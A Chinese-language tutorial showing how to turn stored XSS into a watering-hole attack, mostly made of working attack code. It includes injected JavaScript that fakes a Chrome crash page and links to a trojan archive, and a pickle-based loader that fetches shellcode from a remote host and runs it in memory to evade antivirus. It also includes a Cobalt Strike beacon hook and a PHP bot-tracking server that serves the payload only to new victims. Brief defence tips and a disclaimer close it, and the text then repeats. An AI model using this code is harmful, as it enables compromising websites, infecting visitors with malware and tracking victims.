如何利用XSS钓鱼实现水坑攻击
字数 857 2025-08-15 21:33:50

XSS钓鱼实现水坑攻击技术详解

一、概念解析

1. XSS攻击

XSS(跨站脚本攻击)是一种代码注入技术,攻击者能够在受害者的浏览器中执行恶意脚本。XSS不仅限于简单的alert弹窗,还可以实现:

  • Cookie窃取
  • 会话劫持
  • 键盘记录
  • 水坑攻击等高级利用

2. 水坑攻击

水坑攻击(Watering Hole Attack)是一种针对特定目标的攻击方式:

  • 攻击者分析目标群体的上网行为模式
  • 在目标经常访问的网站上植入恶意代码
  • 等待目标访问时触发攻击
  • 与普通钓鱼的区别在于针对性更强,基于对目标行为的分析

二、攻击前提条件

  1. 存储型XSS漏洞:能够在目标网站持久化存储恶意代码
  2. Webshell权限(可选):方便修改网站内容,提高攻击成功率
  3. 免杀木马:能够绕过杀毒软件检测
  4. 自动化工具:用于上线通知和自动收杆

三、攻击实现步骤

1. 构造诱导页面

方案一:Chrome崩溃页面模拟

var body = document.body;
var _left = window.innerWidth * 0.3 + 'px';
var _top = window.innerHeight * 0.3 + 'px';
var _height = window.innerHeight;

body.innerHTML = `
<div style="background-color: white;height: ${_height}px">
  <div style='position:absolute;top:${_top};left:${_left};height:300px;width:600px;'>
     
    <p><h3>喔唷唷,崩溃啦!</h3></p>
    <p style='color:gray'>
      显示此网页时出了点问题,请在您的页面上启用显示插件,从而可能会有所帮助。</br>
    </p>
    <a href='http://39.105.*.*/Plugin.zip'>
      <button style='margin-left:85%;height:30px;line-hight:30px;outline:none;border:none;background-color:rgb(26,115,232);color:white'>
        立即修复
      </button>
    </a>
  </div>
</div>
`;

方案二:Layer弹窗组件利用

layui.use('layer', function() {
  var layer = layui.layer;
  
  layer.open({
    type: 1,
    skin: 'layui-layer-rim',
    area: ['420px', '240px'],
    content: '自定义诱导内容'
  });
});

注意:使用Layer需要先引入相关JS库

2. 木马免杀技术

反序列化+分离免杀方案

import pickle
import base64, requests

shellcode = """
import ctypes,urllib.request,codecs,base64
resp = requests.get("http://39.*.*.*/shellcode.txt")
base64_code = resp.content
shellcode = base64.b64decode(base64_code)
shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
"""

class AAAA(object):
    def __reduce__(self):
        return (exec, (shellcode,))

ret = pickle.dumps(AAAA())
ret_base64 = base64.b64encode(ret)
ret_base32 = base64.b32encode(ret)
print(ret_base32)
print(ret_base64)

打包注意事项

  • 避免使用pyinstaller(易被杀毒软件检测)
  • 推荐使用py2exe
  • 只需附带libffi-7.dll即可运行

3. 自动化上线通知系统

Cobalt Strike插件配置

on beacon_initial {
    $webhook = "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=<KEY>";
    $externalIP = replace(beacon_info($1, "external"), " ", "_");
    $computerName = replace(beacon_info($1, "computer"), " ", "_");
    $userName = replace(beacon_info($1, "user"), " ", "_");
    $message = 'New Bot Online: \n\n Computer name:'.$computerName.'\n\nUsername:'.$userName.'\n\nexternalIP:'.$externalIP;
    
    $xssApi = "http://39.*.*.*/xss.php?ip=".$externalIP;
    @curl_command = @('curl', '-X', 'GET', $xssApi);
    exec(@curl_command);
}

PHP服务端实现

<?php
$xssPayload = file_get_contents("eval1.js");
$db = "botIPs.txt";
$ip = $_SERVER["REMOTE_ADDR"];
$botIP = @$_GET['ip'];

if ($botIP != 'NULL') {
    echo $botIP;
}

if (!is_null($botIP)) {
    $bots = fopen($db, "a") or die("Unable to open bots file!");
    fwrite($bots, base64_encode($botIP) . "\n");
    fclose($bots);
    
    $url = 'https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=<KEY>';
    $data = array("msgtype" => "text", "text" => array("content" => "New Bot Online:" . $botIP));
    $postdata = json_encode($data);
    
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
    $result = curl_exec($ch);
    curl_close($ch);
    print_r($result);
} else {
    if (file_exists($db)) {
        $line = file_get_contents($db);
        $botIPs = explode("\n", $line);
    }
    
    if (@in_array(base64_encode($ip), $botIPs)) {
        header('Content-type: text/javascript');
        echo "var hb;";
    } else {
        header('Content-type: text/javascript');
        echo $xssPayload;
    }
}
?>

四、攻击流程总结

  1. 漏洞利用:通过存储型XSS在目标网站植入恶意JS代码
  2. 诱导设计:精心设计诱导页面,提高用户点击率
  3. 木马投递:用户点击后下载免杀木马
  4. 上线通知:木马上线后自动通知攻击者
  5. 自动收杆:已感染用户不再显示恶意内容,避免重复感染引起怀疑

五、防御建议

  1. 输入输出过滤:对所有用户输入和输出进行严格过滤
  2. CSP策略:实施内容安全策略(CSP)限制脚本执行
  3. 定期审计:检查网站是否存在XSS漏洞
  4. 员工培训:提高安全意识,警惕异常页面提示
  5. 杀毒软件:保持杀毒软件更新,检测异常行为

六、法律声明

本文所述技术仅供学习研究使用,未经授权对他人系统实施攻击属于违法行为,后果自负。

XSS钓鱼实现水坑攻击技术详解 一、概念解析 1. XSS攻击 XSS(跨站脚本攻击)是一种代码注入技术,攻击者能够在受害者的浏览器中执行恶意脚本。XSS不仅限于简单的alert弹窗,还可以实现: Cookie窃取 会话劫持 键盘记录 水坑攻击等高级利用 2. 水坑攻击 水坑攻击(Watering Hole Attack)是一种针对特定目标的攻击方式: 攻击者分析目标群体的上网行为模式 在目标经常访问的网站上植入恶意代码 等待目标访问时触发攻击 与普通钓鱼的区别在于针对性更强,基于对目标行为的分析 二、攻击前提条件 存储型XSS漏洞 :能够在目标网站持久化存储恶意代码 Webshell权限 (可选):方便修改网站内容,提高攻击成功率 免杀木马 :能够绕过杀毒软件检测 自动化工具 :用于上线通知和自动收杆 三、攻击实现步骤 1. 构造诱导页面 方案一:Chrome崩溃页面模拟 方案二:Layer弹窗组件利用 注意 :使用Layer需要先引入相关JS库 2. 木马免杀技术 反序列化+分离免杀方案 打包注意事项 避免使用pyinstaller(易被杀毒软件检测) 推荐使用py2exe 只需附带libffi-7.dll即可运行 3. 自动化上线通知系统 Cobalt Strike插件配置 PHP服务端实现 四、攻击流程总结 漏洞利用 :通过存储型XSS在目标网站植入恶意JS代码 诱导设计 :精心设计诱导页面,提高用户点击率 木马投递 :用户点击后下载免杀木马 上线通知 :木马上线后自动通知攻击者 自动收杆 :已感染用户不再显示恶意内容,避免重复感染引起怀疑 五、防御建议 输入输出过滤 :对所有用户输入和输出进行严格过滤 CSP策略 :实施内容安全策略(CSP)限制脚本执行 定期审计 :检查网站是否存在XSS漏洞 员工培训 :提高安全意识,警惕异常页面提示 杀毒软件 :保持杀毒软件更新,检测异常行为 六、法律声明 本文所述技术仅供学习研究使用,未经授权对他人系统实施攻击属于违法行为,后果自负。